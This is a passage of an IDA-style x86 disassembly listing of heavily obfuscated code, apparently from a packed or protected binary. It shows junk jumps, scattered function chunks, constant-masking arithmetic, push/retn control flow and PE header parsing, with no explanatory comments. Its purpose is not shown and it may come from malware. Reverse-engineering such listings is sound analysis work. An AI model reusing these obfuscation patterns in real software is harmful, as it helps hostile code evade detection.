; END OF FUNCTION CHUNK FOR sub_423324
; START OF FUNCTION CHUNK FOR sub_421F28
loc_429A51: ; CODE XREF: sub_421F28+928Dj
jmp loc_428BC9
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
test ebx, 3466FF8Eh
jmp loc_42792B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_429A61: ; CODE XREF: sub_42484C+1E74j
jnz loc_4249B4
jmp loc_423679
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_429A6C: ; CODE XREF: sub_427AEB-6923j
; sub_4232F5+1Aj
mov [edx-18h], eax
inc dword ptr [ebp-4]
mov eax, [ebp+8]
mov eax, [eax-18h]
and eax, 7
mov [ebp-0Ch], eax
jmp loc_42770C
; END OF FUNCTION CHUNK FOR sub_4232F5
; =============== S U B R O U T I N E =======================================
sub_429A83 proc near ; DATA XREF: sub_4236E2+1o
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042206B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423038 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423EEE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004253F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00425B0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042654C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428862 SIZE 00000012 BYTES
push ecx
push esi
pushf
mov [esp+0], edi
mov esi, eax
pushf
pop eax
jmp loc_428862
sub_429A83 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_429A92: ; CODE XREF: _94j21ax3:0042A4AFj
mov [ebp-4], eax
push 1Ch
lea eax, [ebp-34h]
call sub_429CCA
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_429A9F: ; CODE XREF: sub_423FCD+25E1j
cmp eax, 80000000h
jbe loc_423047
jmp loc_425228
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429AAF: ; CODE XREF: sub_423324:loc_42342Cj
lea eax, [ebp-14h]
mov dword ptr [eax], 737361h
push 0
lea eax, [ebp-20h]
jmp loc_427260
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EBD
loc_429AC2: ; CODE XREF: sub_429EBD+Fj
rol edx, 0Fh
and edx, 33FA031Fh
add edx, 0CE888263h
xchg edx, [esp+4+var_4]
jmp loc_42C0A7
; END OF FUNCTION CHUNK FOR sub_429EBD
; ---------------------------------------------------------------------------
loc_429AD9: ; DATA XREF: sub_426BA2+1o
mov ebp, esp
push ecx
cmp ds:dword_42C4A4, 0
jnz loc_42ACCA
jmp loc_42473D
; ---------------------------------------------------------------------------
ror ecx, 1Dh
sbb ebp, ecx
jmp sub_42ABB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABCE
loc_429AF8: ; CODE XREF: sub_42ABCE:loc_4269ACj
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
mov [ebp+var_28], eax
mov [ebp+var_14], 4
mov eax, [ebp+var_14]
mov [ebp+var_4], eax
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
jmp loc_42C49C
; END OF FUNCTION CHUNK FOR sub_42ABCE
; =============== S U B R O U T I N E =======================================
sub_429B19 proc near ; DATA XREF: sub_42BEDC:loc_4286BCo
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
sub_429B19 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FBC
loc_429B20: ; CODE XREF: sub_422FBC:loc_428DE7j
rol eax, 0Ch
push eax
jmp nullsub_83
; END OF FUNCTION CHUNK FOR sub_422FBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_429B29: ; CODE XREF: sub_4294B3:loc_424F8Ej
; sub_42AA5F-23B8j ...
mov ecx, [ebp-20h]
loc_429B2C: ; CODE XREF: _94j21ax3:00427C84j
and ecx, 7
mov eax, 1
shl eax, cl
mov edx, [ebp-20h]
shr edx, 3
mov ecx, ds:dword_429F74
movzx edx, byte ptr [ecx+edx]
jmp loc_4248C3
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_429B4B: ; CODE XREF: sub_421047+6E62j
call sub_42BFF0
push offset sub_428090
jmp nullsub_84
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429280
loc_429B5A: ; CODE XREF: sub_429280+17B9j
pop edi
pop ebp
jmp loc_426485
; END OF FUNCTION CHUNK FOR sub_429280
; ---------------------------------------------------------------------------
push ebp
mov ebp, 0D33AB0C2h
jmp loc_42A224
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_429B6C: ; CODE XREF: sub_424C37-1ABEj
; sub_424C37:loc_4286D1j
cmp dword ptr [ebp-1C8h], 2B584245h
jnz loc_4258DB
jmp loc_4240E3
; END OF FUNCTION CHUNK FOR sub_424C37
; =============== S U B R O U T I N E =======================================
sub_429B81 proc near ; CODE XREF: _94j21ax3:00423D6Ap
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00427D73 SIZE 0000001A BYTES
mov [esp+0], eax
push 959D955h
add [esp+4+var_4], 0F6A626AFh
push 28h
push 0DA4FF4B8h
pop eax
rol eax, 0Dh
jmp loc_427D73
sub_429B81 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_429BA0: ; CODE XREF: sub_424A57+3814j
and ebp, 0B6FE91DFh
loc_429BA6: ; CODE XREF: sub_424A57:loc_423EE3j
call sub_42574E
push 0D7CFFD28h
pop edx
and edx, 0AE5626A8h
push offset sub_423D09
jmp nullsub_166
; END OF FUNCTION CHUNK FOR sub_424A57
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_429BC2 proc near ; CODE XREF: sub_422591+4p
; sub_42982D-65D3j ...
jns sub_426F9E
push ebp
mov ebp, esp
jmp loc_425551
sub_429BC2 endp
; ---------------------------------------------------------------------------
loc_429BD0: ; CODE XREF: _94j21ax3:00427FDEj
call sub_429BE2
jmp loc_428ED5
; ---------------------------------------------------------------------------
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A5B9
loc_429BDD: ; CODE XREF: sub_42A5B9:loc_42A5C8j
jmp nullsub_105
; END OF FUNCTION CHUNK FOR sub_42A5B9
; =============== S U B R O U T I N E =======================================
sub_429BE2 proc near ; CODE XREF: sub_421402+41p
; sub_421402+6BCBp ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424392 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00427541 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042754D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042B52A SIZE 0000001E BYTES
pushf
mov [esp+0], ebp
jnz loc_42754D
jmp loc_42B52A
sub_429BE2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_429BF1: ; CODE XREF: sub_42134B+1241j
jnz loc_42911D
jmp loc_421A95
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
push 8FD5BB5Bh
jmp sub_42BEFA
; ---------------------------------------------------------------------------
mov edx, 0D1108A58h
add edx, 70EB38B1h
jmp sub_4288EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_429C16: ; CODE XREF: sub_422973+8CF4j
and edx, 0D7D3A777h
or edx, 0DDF2D1DBh
call sub_42BE84
; END OF FUNCTION CHUNK FOR sub_422973
; =============== S U B R O U T I N E =======================================
sub_429C27 proc near ; CODE XREF: sub_425868-240Ep
; _94j21ax3:00429954j
xchg ebx, [esp+0]
pop ebx
push ecx
mov esp, ebp
pop ebp
push 0AB220D5Bh
jmp loc_428547
sub_429C27 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_429C39: ; CODE XREF: sub_425790-2B2Aj
ror edi, 5
cdq
jnb loc_423E82
jmp loc_42C006
; END OF FUNCTION CHUNK FOR sub_425790
; =============== S U B R O U T I N E =======================================
sub_429C48 proc near ; CODE XREF: _94j21ax3:0042397Aj
; sub_428EDA+9p
; FUNCTION CHUNK AT 00421076 SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
mov edx, [ebp+8]
or [edx-8], eax
jmp loc_421076
sub_429C48 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_429C57: ; CODE XREF: sub_42484C+2B23j
; sub_42484C+45AAj
cmp dword ptr [ebp-10h], 1
jmp loc_424BE4
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_429C60: ; CODE XREF: sub_428BBD+289Fj
js loc_42A303
popf
add ebx, edi
loc_429C69: ; CODE XREF: sub_422436:loc_42C393j
call sub_424D58
pushf
mov [esp+0], ecx
mov ecx, [esp+10h]
mov dword ptr [ecx], 10001h
jmp loc_424E64
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424F07
loc_429C81: ; CODE XREF: sub_424F07:loc_42B4C7j
mov eax, [ebp-20h]
mov byte ptr [eax], 0
inc dword ptr [ebp-1Ch]
jmp loc_422F19
; END OF FUNCTION CHUNK FOR sub_424F07
; ---------------------------------------------------------------------------
loc_429C8F: ; CODE XREF: _94j21ax3:loc_422C24j
inc dword ptr [ebp-1Ch]
jmp loc_42250A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429C97: ; CODE XREF: sub_423324+BCj
; _94j21ax3:0042C107j
inc dword ptr [ebp-18h]
dec dword ptr [ebp-24h]
jnz loc_422F46
jmp loc_423F37
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A9E7
loc_429CA9: ; CODE XREF: sub_42A9E7-29F7j
jmp loc_42B9DC
; END OF FUNCTION CHUNK FOR sub_42A9E7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429CAE proc near ; CODE XREF: sub_423324-1808j
; FUNCTION CHUNK AT 00421C20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422678 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00422F2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423688 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428F8C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042930D SIZE 00000005 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
push 7966F0FCh
jmp loc_42930D
sub_429CAE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_429CBF: ; CODE XREF: sub_42BD03-93Ej
jz loc_421D04
jmp loc_423385
; END OF FUNCTION CHUNK FOR sub_42BD03
; =============== S U B R O U T I N E =======================================
sub_429CCA proc near ; CODE XREF: sub_425324:loc_426475j
; _94j21ax3:00429A9Ap
xchg eax, [esp+0]
pop eax
push eax
mov eax, [ebp-4]
call sub_424775
sub_429CCA endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42484C
loc_429CD7: ; CODE XREF: sub_42484C+32B2j
jmp loc_428DF2
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EE4
loc_429CDC: ; CODE XREF: sub_424EE4+Bj
jmp loc_4287A5
; END OF FUNCTION CHUNK FOR sub_424EE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4220B7
loc_429CE1: ; CODE XREF: sub_4220B7:loc_429E29j
jz loc_42526C
jmp loc_428BD4
; END OF FUNCTION CHUNK FOR sub_4220B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4225A5
loc_429CEC: ; CODE XREF: sub_4225A5:loc_424061j
sub edi, 50EF01E7h
or edi, 0C5FA4A98h
add edi, 847EC2Dh
mov [edi], eax
jmp loc_4266E6
; END OF FUNCTION CHUNK FOR sub_4225A5
; =============== S U B R O U T I N E =======================================
sub_429D05 proc near ; DATA XREF: _94j21ax3:00424429o
ror eax, 0Eh
mov ds:dword_421998, eax
retn
sub_429D05 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A2B1
loc_429D0F: ; CODE XREF: sub_42A2B1+12j
jmp loc_422292
; END OF FUNCTION CHUNK FOR sub_42A2B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_429D14: ; CODE XREF: sub_428B5E+8j
rol eax, 0Eh
push eax
retn
; END OF FUNCTION CHUNK FOR sub_428B5E
; =============== S U B R O U T I N E =======================================
sub_429D19 proc near ; CODE XREF: _94j21ax3:loc_4288AAp
; FUNCTION CHUNK AT 0042A467 SIZE 00000007 BYTES
push ebp
jmp loc_42A467
sub_429D19 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424839
loc_429D1F: ; CODE XREF: sub_424839+Cj
jnz loc_4245C0
jmp loc_42795F
; END OF FUNCTION CHUNK FOR sub_424839
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_429D2B: ; CODE XREF: _94j21ax3:0042A42Bj
jmp loc_42BA61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_429D30: ; CODE XREF: sub_42C0BC-ADB1j
jmp sub_425A09
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_429D35: ; CODE XREF: sub_421F28+6j
; sub_42BA8A-600Bj
rol eax, 0Fh
call sub_4258CB
loc_429D3D: ; CODE XREF: sub_4210AA+5D69j
jmp loc_421DB2
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426B65
loc_429D42: ; CODE XREF: sub_426B65+1Bj
jmp sub_425395
; END OF FUNCTION CHUNK FOR sub_426B65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_429D47: ; CODE XREF: sub_4250F7+4CEBj
pop ebx
shl ebx, 1Dh
jmp loc_42174C
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
jns loc_4287D8
sub edi, ebp
jmp sub_4250F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_429D5D: ; CODE XREF: sub_42284F:loc_428F2Ej
; sub_42284F+8F90j
xor eax, 2A3F0280h
add ecx, eax
pop eax
add ecx, edx
loc_429D68: ; CODE XREF: _94j21ax3:loc_422E67j
jmp loc_421105
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
and ebx, edx
jmp loc_429D97
; ---------------------------------------------------------------------------
xchg ebx, [eax]
jmp loc_425162
; ---------------------------------------------------------------------------
loc_429D7B: ; CODE XREF: _94j21ax3:00426D73j
jz loc_42B264
ror ebp, 0Dh
xor ecx, 7B89193Ah
jp nullsub_167
mov edi, [ebx]
jmp loc_42B262
; ---------------------------------------------------------------------------
loc_429D97: ; CODE XREF: _94j21ax3:00429D6Fj
ror eax, 1Bh
; =============== S U B R O U T I N E =======================================
sub_429D9A proc near ; CODE XREF: sub_42C057-3DC9p
arg_0 = dword ptr 4
mov [esp+0], ebx
pop ebx
add esi, 781DF580h
xchg esi, [esp-4+arg_0]
jmp sub_42446B
sub_429D9A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426744
loc_429DAC: ; CODE XREF: sub_426744:loc_42394Bj
xor eax, 750E76E0h
add eax, ebp
add eax, 4E6887D9h
mov eax, [eax]
pop ecx
call sub_427FF5
; END OF FUNCTION CHUNK FOR sub_426744
; START OF FUNCTION CHUNK FOR sub_4237DC
loc_429DC2: ; CODE XREF: sub_4237DC+16j
jmp loc_42582F
; END OF FUNCTION CHUNK FOR sub_4237DC
; ---------------------------------------------------------------------------
loc_429DC7: ; CODE XREF: _94j21ax3:004215DFj
jmp loc_429E1E
; =============== S U B R O U T I N E =======================================
sub_429DCC proc near ; CODE XREF: sub_42C5E8-B467p
; sub_42B487+6p ...
; FUNCTION CHUNK AT 00424FF3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00428E5E SIZE 0000000D BYTES
jo sub_4272B2
call sub_424AED
loc_429DD7: ; CODE XREF: sub_4265C2+867j
jmp loc_428E5E
sub_429DCC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_429DDC: ; CODE XREF: _94j21ax3:loc_42A215j
; sub_4250F7+5F3Aj
jz loc_42174C
jmp loc_429D47
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
loc_429DE7: ; CODE XREF: _94j21ax3:0042AE11j
mov ebp, edx
; =============== S U B R O U T I N E =======================================
sub_429DE9 proc near ; CODE XREF: sub_423324:loc_4297E0p
mov [esp+0], ebx
pop ebx
add edi, ebp
push offset sub_4272D8
jmp nullsub_87
sub_429DE9 endp
; ---------------------------------------------------------------------------
loc_429DF9: ; CODE XREF: _94j21ax3:0042B574j
pop edx
add edx, 0DFE7CD93h
sub edx, 400D750Ch
add edx, 0D13207BAh
add edx, ebp
jmp loc_424C1E
; ---------------------------------------------------------------------------
add esi, 8970C76Eh
jmp sub_4269A6
; ---------------------------------------------------------------------------
loc_429E1E: ; CODE XREF: _94j21ax3:loc_429DC7j
jge loc_42C566
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_429E24: ; CODE XREF: sub_423BF8+2CB0j
jmp loc_428041
; END OF FUNCTION CHUNK FOR sub_423BF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4220B7
loc_429E29: ; CODE XREF: sub_4220B7+12j
jmp loc_429CE1
; END OF FUNCTION CHUNK FOR sub_4220B7
; ---------------------------------------------------------------------------
mov ebx, edx
mov edx, [eax]
mov [edi], esi
adc esi, edi
jmp loc_42C560
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_429E3C: ; CODE XREF: sub_42269A+8A2Aj
mov ebx, [ecx]
loc_429E3E: ; CODE XREF: _94j21ax3:loc_4235D2j
jnb nullsub_139
test edi, eax
jmp loc_429FE3
; END OF FUNCTION CHUNK FOR sub_42269A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EFA
loc_429E4B: ; CODE XREF: sub_424EFA:loc_4263E1j
push 67F15A61h
pop ebx
xor ebx, 0FEAA10C4h
and ebx, 0D3D6D66h
add ebx, 0F6E6B7DCh
popf
jmp loc_426EA4
; END OF FUNCTION CHUNK FOR sub_424EFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422764
loc_429E69: ; CODE XREF: sub_422764:loc_426F0Aj
jl loc_427992
loc_429E6F: ; CODE XREF: sub_428BBD+21CFj
jmp loc_421AF3
; END OF FUNCTION CHUNK FOR sub_422764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_429E74: ; CODE XREF: sub_42284F+48A6j
jmp loc_423781
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
ror esi, 13h
and edi, edx
jmp loc_42798A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_429E83: ; CODE XREF: sub_42851E:loc_42B82Fj
push 0B396DF57h
pop edi
add edi, 4CAB6125h
mov [edi], eax
pop edi
jmp loc_422E09
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_429E97: ; CODE XREF: sub_422866:loc_422288j
call sub_42B9E8
push ecx
push 53F76536h
pop ecx
add ecx, 0BCF43B96h
add ecx, ebp
add ecx, 0EF145F2Ch
jmp loc_429515
; END OF FUNCTION CHUNK FOR sub_422866
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_429EB7: ; CODE XREF: _94j21ax3:00423AABj
sub edx, 0AB9C75C0h
; =============== S U B R O U T I N E =======================================
sub_429EBD proc near ; CODE XREF: sub_421F28+9794p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00429AC2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042C0A7 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
lea eax, [ebp-14h]
push eax
push edx
push 0F6946B77h
pop edx
jmp loc_429AC2
sub_429EBD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_429ED1: ; CODE XREF: sub_422048:loc_424D40j
push offset sub_4271A0
jmp loc_42525C
; END OF FUNCTION CHUNK FOR sub_422048
; =============== S U B R O U T I N E =======================================
sub_429EDB proc near ; CODE XREF: _94j21ax3:00429F59p
; _94j21ax3:0042C43Fj
; FUNCTION CHUNK AT 0042A654 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A86F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BDEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BF8A SIZE 0000000A BYTES
mov [esp+0], edx
pop edx
test al, al
jz loc_42A86F
jmp loc_42BDEF
sub_429EDB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_429EEC: ; CODE XREF: sub_425934:loc_42A2E1j
pushf
cmp eax, 2327C915h
jmp loc_429505
; END OF FUNCTION CHUNK FOR sub_425934
; =============== S U B R O U T I N E =======================================
sub_429EF8 proc near ; CODE XREF: sub_4220B7-1026p
; _94j21ax3:004237FDj
mov [esp+0], eax
pop eax
mov eax, [ebp-1Ch]
jmp loc_42C306
sub_429EF8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_429F04: ; CODE XREF: sub_423614:loc_422FE6j
cmp dword ptr [ebp-1Ch], 0Fh
jnz loc_426D3D
mov eax, [ebp-1Ch]
shl eax, 8
mov edx, [ebp-20h]
jmp loc_42C2F8
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
loc_429F1C: ; DATA XREF: sub_42AADB-38BBo
mov ds:dword_4219AC, eax
retn
; ---------------------------------------------------------------------------
loc_429F23: ; CODE XREF: _94j21ax3:0042A8AAj
jmp loc_4235D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429F28: ; CODE XREF: sub_423324+5D24j
jmp loc_426CA8
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AADB
loc_429F2D: ; CODE XREF: sub_42AADB+Dj
rol eax, 0Fh
push eax
retn
; END OF FUNCTION CHUNK FOR sub_42AADB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426F9E
loc_429F32: ; CODE XREF: sub_426F9E+1j
jmp loc_422175
; END OF FUNCTION CHUNK FOR sub_426F9E
; =============== S U B R O U T I N E =======================================
sub_429F37 proc near ; CODE XREF: sub_421402+23A1j
push ebp
jmp loc_425873
sub_429F37 endp
; ---------------------------------------------------------------------------
loc_429F3D: ; CODE XREF: _94j21ax3:00421B93j
sbb eax, 0F4B58C54h
; =============== S U B R O U T I N E =======================================
sub_429F43 proc near ; CODE XREF: sub_4248E7-1828p
mov [esp+0], ebx
pop ebx
mov eax, ds:dword_429F74
mov edx, [ebp-4]
jmp loc_428C80
sub_429F43 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
call sub_42875C
call sub_429EDB
; START OF FUNCTION CHUNK FOR sub_425934
loc_429F5E: ; CODE XREF: sub_425934+6649j
jmp loc_426BC9
; ---------------------------------------------------------------------------
loc_429F63: ; CODE XREF: sub_425934+B26j
jmp nullsub_183
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429F68: ; CODE XREF: sub_423324-11C8j
jmp loc_42A584
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
db 0BDh, 0C6h, 64h
dword_429F70 dd 1959DFA0h ; DATA XREF: sub_429974-7990r
dword_429F74 dd 143930h ; DATA XREF: sub_422973+7r
; sub_426FE1-1440r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239A5
loc_429F78: ; CODE XREF: sub_4239A5+15j
jmp loc_421F58
; END OF FUNCTION CHUNK FOR sub_4239A5
; ---------------------------------------------------------------------------
db 32h, 94h, 91h
dword_429F80 dd 8DDF9DE5h ; DATA XREF: sub_42A277-47B3w
; _94j21ax3:00428DD1w ...
dword_429F84 dd 56DDF9E7h ; DATA XREF: sub_422AD5r
; sub_423F55+2FA9w ...
dword_429F88 dd 61BBBF3Dh ; DATA XREF: _94j21ax3:00423BDAr
; _94j21ax3:loc_42C3B2w
dword_429F8C dd 51DBBF3Ah ; DATA XREF: sub_42A63F+9w
; _94j21ax3:loc_42BD57r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C149
loc_429F90: ; CODE XREF: sub_42C149-71FCj
jmp nullsub_148
; END OF FUNCTION CHUNK FOR sub_42C149
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_429F95: ; CODE XREF: sub_427849:loc_423E39j
mov eax, [ebp-4]
cmp byte ptr [eax], 0EBh
jmp loc_42A598
; ---------------------------------------------------------------------------
loc_429FA0: ; CODE XREF: sub_427849:loc_42784Fj
mov eax, [ebp-4]
movzx eax, byte ptr [eax]
jmp loc_428B97
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
loc_429FAB: ; CODE XREF: _94j21ax3:loc_422EE0j
xchg ecx, ebp
mov byte ptr [ebp-1], 0
mov eax, cs
xor al, al
or eax, eax
jmp loc_42670B
; ---------------------------------------------------------------------------
loc_429FBC: ; DATA XREF: sub_42C473-15DBo
call sub_423B78
mov edx, [ebx+3Ch]
mov edx, [ebx+edx+80h]
push offset sub_427DD1
jmp locret_4291F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_429FD5: ; CODE XREF: sub_4272E9-3A93j
add edx, 4453C34Bh
xchg edx, [esp+0]
jmp loc_42C34E
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_429FE3: ; CODE XREF: sub_42269A+77ACj
jno loc_42BFD7
loc_429FE9: ; CODE XREF: sub_42269A:loc_42B0B8j
add ecx, 0EE9B5EC2h
xchg ecx, [esp+0]
jmp loc_428F60
; END OF FUNCTION CHUNK FOR sub_42269A
; ---------------------------------------------------------------------------
push eax
ror eax, 0Bh
mov ds:dword_4219B8, eax
jmp loc_42226C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423081
loc_42A006: ; CODE XREF: sub_423081:loc_4259F6j
push eax
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F6h
jmp loc_42B2D7
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42773C
loc_42A016: ; CODE XREF: sub_42773C:loc_42A3A2j
mov eax, [ebp+8]
test byte ptr [eax-10h], 38h
jmp loc_4266EB
; END OF FUNCTION CHUNK FOR sub_42773C
; ---------------------------------------------------------------------------
loc_42A022: ; CODE XREF: _94j21ax3:00426E56j
; DATA XREF: sub_425330+1B10o
pop ebp
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425330
loc_42A024: ; CODE XREF: sub_425330+1B02j
mov eax, [ebp+arg_4]
cmp dword ptr [eax-4], 4
jnz loc_429859
jmp loc_42229F
; END OF FUNCTION CHUNK FOR sub_425330
; ---------------------------------------------------------------------------
shl edi, 0Fh
jmp loc_4280A2
; ---------------------------------------------------------------------------
loc_42A03E: ; CODE XREF: _94j21ax3:00424DA6j
jns loc_4275F3
adc eax, esi
jmp sub_42C5E8
; ---------------------------------------------------------------------------
or edi, 356138B1h
jmp sub_429054
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42A057: ; CODE XREF: sub_421F28+1FA4j
jmp nullsub_149
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4225B5
loc_42A05C: ; CODE XREF: sub_4225B5+8j
jmp nullsub_92
; END OF FUNCTION CHUNK FOR sub_4225B5
